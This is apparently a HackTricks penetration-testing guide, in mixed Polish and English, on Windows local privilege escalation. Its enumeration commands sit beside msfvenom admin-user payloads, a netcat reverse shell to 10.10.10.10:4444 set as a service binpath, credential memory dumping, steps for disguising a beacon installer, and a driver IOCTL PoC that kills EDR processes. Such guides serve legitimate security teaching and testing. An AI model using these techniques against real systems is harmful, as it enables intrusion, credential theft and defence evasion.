Windows Local Privilege Escalation

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Najlepsze narzędzie do wyszukiwania Windows local privilege escalation vectors: WinPEAS

Podstawy Windows

Access Tokens

Jeśli nie wiesz, czym są Windows Access Tokens, przeczytaj następującą stronę przed kontynuacją:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Sprawdź następującą stronę, aby uzyskać więcej informacji o ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Jeśli nie wiesz, czym są integrity levels w Windows, powinieneś przeczytać następującą stronę przed kontynuacją:

Integrity Levels

Windows Security Controls

Istnieją różne mechanizmy w Windows, które mogą prevent you from enumerating the system, uniemożliwić uruchamianie plików wykonywalnych lub nawet detect your activities. Powinieneś read następującą page i enumerate wszystkie te defenses mechanisms przed rozpoczęciem privilege escalation enumeration:

Windows Security Controls

System Info

Version info enumeration

Sprawdź, czy wersja Windows ma jakieś znane vulnerability (sprawdź także zastosowane poprawki).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Ta site jest przydatna do wyszukiwania szczegółowych informacji o Microsoft security vulnerabilities. Ta baza danych zawiera ponad 4,700 security vulnerabilities, pokazując massive attack surface, które prezentuje środowisko Windows.

Na systemie

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas has watson embedded)

Lokalnie z informacjami o systemie

Repozytoria Github z exploits:

Środowisko

Czy jakiekolwiek credential/Juicy info są zapisane w env variables?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historia PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell Pliki transkryptów

Możesz dowiedzieć się, jak to włączyć, na https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Szczegóły wykonywania potoków PowerShell są rejestrowane, obejmując wykonywane polecenia, wywołania poleceń oraz fragmenty skryptów. Nie zawsze jednak rejestrowane są pełne informacje o wykonaniu i wynikach.

Aby to włączyć, postępuj zgodnie z instrukcjami w sekcji “Transcript files” dokumentacji, wybierając “Module Logging” zamiast “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Aby wyświetlić ostatnie 15 zdarzeń z logów PowersShell możesz wykonać:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Rejestrowany jest kompletny zapis aktywności oraz pełna zawartość wykonywania skryptu, dzięki czemu każdy blok kodu jest dokumentowany w trakcie uruchamiania. Proces ten zachowuje kompleksowy audyt każdej czynności, cenny dla forensics i analizy złośliwego zachowania. Dokumentując całą aktywność w czasie wykonania, dostarczane są szczegółowe informacje o przebiegu procesu.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Zdarzenia logowania dla Script Block można znaleźć w Windows Event Viewer pod ścieżką: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Aby wyświetlić ostatnie 20 zdarzeń możesz użyć:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Ustawienia Internetu

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Dyski

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Możesz przejąć system, jeśli żądania aktualizacji używają http zamiast httpS.

Rozpoczynasz od sprawdzenia, czy sieć używa WSUS bez SSL, uruchamiając poniższe polecenie w cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Lub następujące w PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Jeśli otrzymasz odpowiedź taką jak jedna z poniższych:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

A jeśli HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer lub Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" jest równe 1.

Wtedy, it is exploitable. Jeśli ostatni wpis rejestru jest równy 0, wpis WSUS zostanie zignorowany.

Aby wykorzystać tę podatność możesz użyć narzędzi takich jak: Wsuxploit, pyWSUS – są to MiTM weaponized exploits scripts do wstrzykiwania ‘fake’ aktualizacji do ruchu WSUS bez SSL.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Zasadniczo, to jest luka, którą wykorzystuje ten błąd:

Jeśli mamy możliwość modyfikacji lokalnego proxy użytkownika, a Windows Updates używa proxy skonfigurowanego w ustawieniach Internet Explorera, to mamy możliwość uruchomienia lokalnie PyWSUS, aby przechwycić własny ruch i uruchomić kod jako podwyższony użytkownik na naszym zasobie.

Ponadto, ponieważ usługa WSUS używa ustawień bieżącego użytkownika, użyje też jego magazynu certyfikatów. Jeśli wygenerujemy certyfikat self-signed dla nazwy hosta WSUS i dodamy ten certyfikat do magazynu certyfikatów bieżącego użytkownika, będziemy w stanie przechwycić zarówno HTTP, jak i HTTPS ruch WSUS. WSUS nie używa żadnych HSTS-like mechanizmów do implementacji trust-on-first-use typu walidacji certyfikatu. Jeśli przedstawiony certyfikat jest zaufany przez użytkownika i ma poprawną nazwę hosta, zostanie zaakceptowany przez usługę.

Możesz wykorzystać tę podatność używając narzędzia WSUSpicious (gdy będzie dostępne).

Auto-updatery stron trzecich i Agent IPC (local privesc)

Wiele enterprise agentów eksponuje powierzchnię IPC na localhost oraz uprzywilejowany kanał aktualizacji. Jeśli rejestrację można wymusić na serwer atakującego, a updater ufa rogue root CA lub ma słabe sprawdzanie podpisów, lokalny użytkownik może dostarczyć złośliwe MSI, które usługa SYSTEM zainstaluje. Zobacz uogólnioną technikę (opartą na łańcuchu Netskope stAgentSvc – CVE-2025-0309) tutaj:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Jeśli te 2 wpisy rejestru są włączone (wartość to 0x1), to użytkownicy o dowolnych uprawnieniach mogą zainstalować (wykonać) *.msi pliki jako NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Jeśli masz sesję meterpreter, możesz zautomatyzować tę technikę używając modułu exploit/windows/local/always_install_elevated

PowerUP

Użyj polecenia Write-UserAddMSI z PowerUP, aby w bieżącym katalogu utworzyć binarkę MSI Windows do eskalacji uprawnień. Ten skrypt zapisuje wstępnie skompilowany instalator MSI, który wyświetla monit o dodanie użytkownika/grupy (więc będziesz potrzebować GIU access):

Write-UserAddMSI

Po prostu uruchom utworzony plik binarny, aby podnieść uprawnienia.

MSI Wrapper

Przeczytaj ten samouczek, aby dowiedzieć się, jak stworzyć MSI wrapper z użyciem tych narzędzi. Zwróć uwagę, że możesz opakować plik “.bat”, jeśli tylko chcesz uruchamiać polecenia

MSI Wrapper

Utwórz MSI przy użyciu WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
  • Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
  • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
  • Right-click the project and select View > Custom Actions.
  • Right-click Install and select Add Custom Action.
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
  • Under the Custom Action Properties, change Run64Bit to True.
  • Finally, build it.
  • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.

Instalacja MSI

Aby wykonać instalację złośliwego .msi pliku w tle:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Aby wykorzystać tę podatność możesz użyć: exploit/windows/local/always_install_elevated

Antywirusy i detektory

Ustawienia audytu

Te ustawienia decydują o tym, co jest logowane, więc powinieneś zwrócić na to uwagę

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding — warto wiedzieć, dokąd są wysyłane logi

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS jest zaprojektowany do zarządzania lokalnymi hasłami Administratora, zapewniając, że każde hasło jest unikatowe, losowe i regularnie aktualizowane na komputerach dołączonych do domeny. Hasła te są bezpiecznie przechowywane w Active Directory i mogą być dostępne tylko dla użytkowników, którym przyznano wystarczające uprawnienia poprzez ACLs, co pozwala im — jeśli są uprawnieni — przeglądać lokalne hasła administratora.

LAPS

WDigest

Jeśli aktywny, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Począwszy od Windows 8.1, Microsoft wprowadził rozszerzoną ochronę dla Local Security Authority (LSA), aby blokować próby niezaufanych procesów odczytania jego pamięci lub wstrzyknięcia kodu, dodatkowo zabezpieczając system.
Więcej informacji o LSA Protection tutaj.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard został wprowadzony w Windows 10. Jego celem jest zabezpieczenie poświadczeń przechowywanych na urządzeniu przed zagrożeniami, takimi jak ataki typu pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials są uwierzytelniane przez Local Security Authority (LSA) i wykorzystywane przez komponenty systemu operacyjnego. Kiedy dane logowania użytkownika zostaną uwierzytelnione przez zarejestrowany security package, domain credentials dla tego użytkownika są zazwyczaj ustanawiane.
Więcej informacji o Cached Credentials tutaj.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Użytkownicy i grupy

Wyliczanie użytkowników i grup

Sprawdź, czy którakolwiek z grup, do których należysz, ma interesujące uprawnienia.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupy uprzywilejowane

Jeśli należysz do jakiejś grupy uprzywilejowanej, możesz być w stanie eskalować uprawnienia. Dowiedz się o grupach uprzywilejowanych i jak je nadużywać, aby eskalować uprawnienia tutaj:

Privileged Groups

Manipulacja tokenami

Dowiedz się więcej o tym, czym jest token na tej stronie: Windows Tokens.
Sprawdź następującą stronę, aby dowiedzieć się o interesujących tokenach i jak je nadużywać:

Abusing Tokens

Zalogowani użytkownicy / Sesje

qwinsta
klist sessions

Katalogi domowe

dir C:\Users
Get-ChildItem C:\Users

Polityka haseł

net accounts

Pobierz zawartość schowka

powershell -command "Get-Clipboard"

Uruchomione procesy

Uprawnienia plików i folderów

Przede wszystkim, listując procesy, sprawdź, czy w command line procesu nie znajdują się hasła.
Sprawdź, czy możesz overwrite some binary running lub czy masz uprawnienia zapisu w folderze z binary, aby wykorzystać możliwe DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Zawsze sprawdzaj, czy działają electron/cef/chromium debuggers — możesz je wykorzystać do eskalacji uprawnień.

Sprawdzanie uprawnień binariów procesów

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Sprawdzanie uprawnień folderów zawierających pliki binarne procesów (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Możesz utworzyć memory dump uruchomionego procesu za pomocą procdump z sysinternals. Usługi takie jak FTP mają credentials in clear text in memory, spróbuj zrzucić pamięć i odczytać credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Niezabezpieczone aplikacje GUI

Aplikacje uruchomione jako SYSTEM mogą umożliwić użytkownikowi uruchomienie CMD lub przeglądanie katalogów.

Przykład: “Windows Help and Support” (Windows + F1), wyszukaj “command prompt”, kliknij “Click to open Command Prompt”

Services

Service Triggers pozwalają Windows uruchomić usługę, gdy wystąpią określone warunki (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Nawet bez uprawnień SERVICE_START często można uruchomić uprzywilejowane usługi, wyzwalając ich triggers. Zobacz techniki enumeracji i aktywacji tutaj:

Service Triggers

Wyświetl listę usług:

net start
wmic service list brief
sc query
Get-Service

Uprawnienia

Możesz użyć sc, aby uzyskać informacje o usłudze

sc qc <service_name>

Zaleca się posiadanie binarki accesschk z Sysinternals, aby sprawdzić wymagany poziom uprawnień dla każdej usługi.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Zaleca się sprawdzenie, czy “Authenticated Users” mogą modyfikować jakąkolwiek usługę:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Możesz pobrać accesschk.exe dla XP stąd

Włącz usługę

Jeśli występuje ten błąd (na przykład z SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Możesz ją włączyć używając

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)

Innym obejściem tego problemu jest uruchomienie:

sc.exe config usosvc start= auto

Modyfikacja ścieżki pliku binarnego usługi

W scenariuszu, w którym grupa “Authenticated users” posiada SERVICE_ALL_ACCESS dla usługi, możliwa jest modyfikacja pliku wykonywalnego usługi. Aby zmodyfikować i uruchomić sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Ponowne uruchomienie usługi

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Eskalację uprawnień można uzyskać dzięki następującym przywilejom:

  • SERVICE_CHANGE_CONFIG: Pozwala na rekonfigurację pliku binarnego usługi.
  • WRITE_DAC: Umożliwia rekonfigurację uprawnień, co prowadzi do możliwości zmiany konfiguracji usługi.
  • WRITE_OWNER: Pozwala na przejęcie własności oraz rekonfigurację uprawnień.
  • GENERIC_WRITE: Daje możliwość zmiany konfiguracji usługi.
  • GENERIC_ALL: Również daje możliwość zmiany konfiguracji usługi.

Do wykrywania i eksploatacji tej podatności można użyć exploit/windows/local/service_permissions.

Słabe uprawnienia plików binarnych usług

Sprawdź, czy możesz zmodyfikować plik binarny uruchamiany przez usługę lub jeśli masz uprawnienia zapisu do folderu gdzie znajduje się plik binarny (DLL Hijacking).
Możesz uzyskać wszystkie pliki binarne uruchamiane przez usługę używając wmic (nie w system32) i sprawdzić swoje uprawnienia używając icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Możesz też użyć sc i icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Uprawnienia do modyfikacji rejestru usług

Powinieneś sprawdzić, czy możesz modyfikować dowolny rejestr usług.
Możesz sprawdzić swoje uprawnienia do rejestru usług, wykonując:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Należy sprawdzić, czy Authenticated Users lub NT AUTHORITY\INTERACTIVE posiadają uprawnienia FullControl. Jeśli tak, binarkę uruchamianą przez usługę można zmodyfikować.

Aby zmienić ścieżkę uruchamianego pliku binarnego:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Rejestr usług — uprawnienia AppendData/AddSubdirectory

Jeśli masz to uprawnienie dla rejestru, oznacza to, że możesz tworzyć podrejestry w tym rejestrze. W przypadku usług Windows jest to wystarczające do uruchomienia dowolnego kodu:

AppendData/AddSubdirectory permission over service registry

Ścieżki usług bez cudzysłowów

Jeśli ścieżka do pliku wykonywalnego nie jest ujęta w cudzysłowy, Windows będzie próbował uruchomić każdy fragment ścieżki kończący się przed spacją.

Na przykład, dla ścieżki C:\Program Files\Some Folder\Service.exe Windows spróbuje uruchomić:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Wypisz wszystkie ścieżki usług bez cudzysłowów, z wyłączeniem tych należących do wbudowanych usług Windows:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Możesz wykryć i wykorzystać tę podatność za pomocą metasploit: exploit/windows/local/trusted\_service\_path Możesz ręcznie utworzyć plik binarny usługi za pomocą metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Akcje odzyskiwania

Windows pozwala użytkownikom określić akcje wykonywane w przypadku awarii usługi. Funkcję tę można skonfigurować tak, aby wskazywała na plik wykonywalny. Jeżeli ten plik wykonywalny może zostać zastąpiony, możliwa może być eskalacja uprawnień. Więcej informacji można znaleźć w oficjalnej dokumentacji.

Aplikacje

Zainstalowane aplikacje

Sprawdź uprawnienia do plików binarnych (może uda ci się nadpisać jeden i eskalować uprawnienia) oraz folderów (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Uprawnienia zapisu

Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik lub czy możesz zmodyfikować binarkę, która zostanie wykonana przez konto Administratora (schedtasks).

Sposób na znalezienie słabych uprawnień do folderów/plików w systemie to:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Uruchamianie przy starcie

Sprawdź, czy możesz nadpisać jakiś wpis rejestru lub plik binarny, który zostanie uruchomiony przez innego użytkownika.
Przeczytaj następującą stronę aby dowiedzieć się więcej o interesujących autoruns locations to escalate privileges:

Privilege Escalation with Autoruns

Sterowniki

Szukaj możliwych firm trzecich, nietypowych/podatnych sterowników

driverquery
driverquery.exe /fo table
driverquery /SI

Jeśli sterownik ujawnia dowolny mechanizm odczytu/zapisu w kernelu (częsty w źle zaprojektowanych handlerach IOCTL), można eskalować prawa przez kradzież tokenu SYSTEM bezpośrednio z pamięci jądra. Zobacz krok‑po‑kroku tę technikę tutaj:

Arbitrary Kernel Rw Token Theft

Wykorzystanie braku FILE_DEVICE_SECURE_OPEN na obiektach urządzeń (LPE + EDR kill)

Niektóre podpisane sterowniki firm trzecich tworzą swój obiekt urządzenia z silnym SDDL za pomocą IoCreateDeviceSecure, ale zapominają ustawić FILE_DEVICE_SECURE_OPEN w DeviceCharacteristics. Bez tego znacznika secure DACL nie jest egzekwowany, gdy urządzenie jest otwierane przez ścieżkę zawierającą dodatkowy komponent, co pozwala dowolnemu nieuprzywilejowanemu użytkownikowi uzyskać handle używając namespace path takiej jak:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

Gdy użytkownik może otworzyć urządzenie, uprzywilejowane IOCTLs udostępnione przez sterownik mogą być nadużyte do LPE i manipulacji. Przykładowe możliwości zaobserwowane w rzeczywistych przypadkach:

  • Zwrócenie handle z pełnym dostępem do dowolnych procesów (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Nieograniczony surowy odczyt/zapis dysku (modyfikacje offline, metody utrwalania przy uruchomieniu).
  • Zakończenie dowolnych procesów, w tym Protected Process/Light (PP/PPL), umożliwiając zabicie AV/EDR z poziomu przestrzeni użytkownika przez jądro.

Minimalny wzorzec PoC (tryb użytkownika):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Zabezpieczenia dla deweloperów

  • Zawsze ustaw FILE_DEVICE_SECURE_OPEN podczas tworzenia device objects, które mają być ograniczone przez DACL.
  • Waliduj kontekst wywołującego dla operacji uprzywilejowanych. Dodaj sprawdzenia PP/PPL przed zezwoleniem na zakończenie procesu lub zwróceniem handle.
  • Ogranicz IOCTLs (access masks, METHOD_*, walidacja wejścia) i rozważ modele pośredniczące zamiast bezpośrednich uprawnień jądra.

Pomysły wykrywania dla obrońców

  • Monitoruj otwarcia w user-mode podejrzanych nazw urządzeń (e.g., \ .\amsdk*) oraz specyficzne sekwencje IOCTL wskazujące na nadużycie.
  • Egzekwuj Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) i utrzymuj własne listy allow/deny.

PATH DLL Hijacking

Jeśli masz uprawnienia do zapisu w folderze, który znajduje się na PATH możesz być w stanie przechwycić DLL ładowaną przez proces i escalate privileges.

Sprawdź uprawnienia wszystkich folderów znajdujących się w PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Aby uzyskać więcej informacji o tym, jak wykorzystać to sprawdzenie:

Writable Sys Path +Dll Hijacking Privesc

Sieć

Udziały

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Sprawdź, czy w hosts file nie ma na stałe wpisanych innych znanych komputerów

type C:\Windows\System32\drivers\etc\hosts

Interfejsy sieciowe i DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Otwarte porty

Sprawdź dostępność usług z ograniczonym dostępem z zewnątrz

netstat -ano #Opened ports?

Tabela routingu

route print
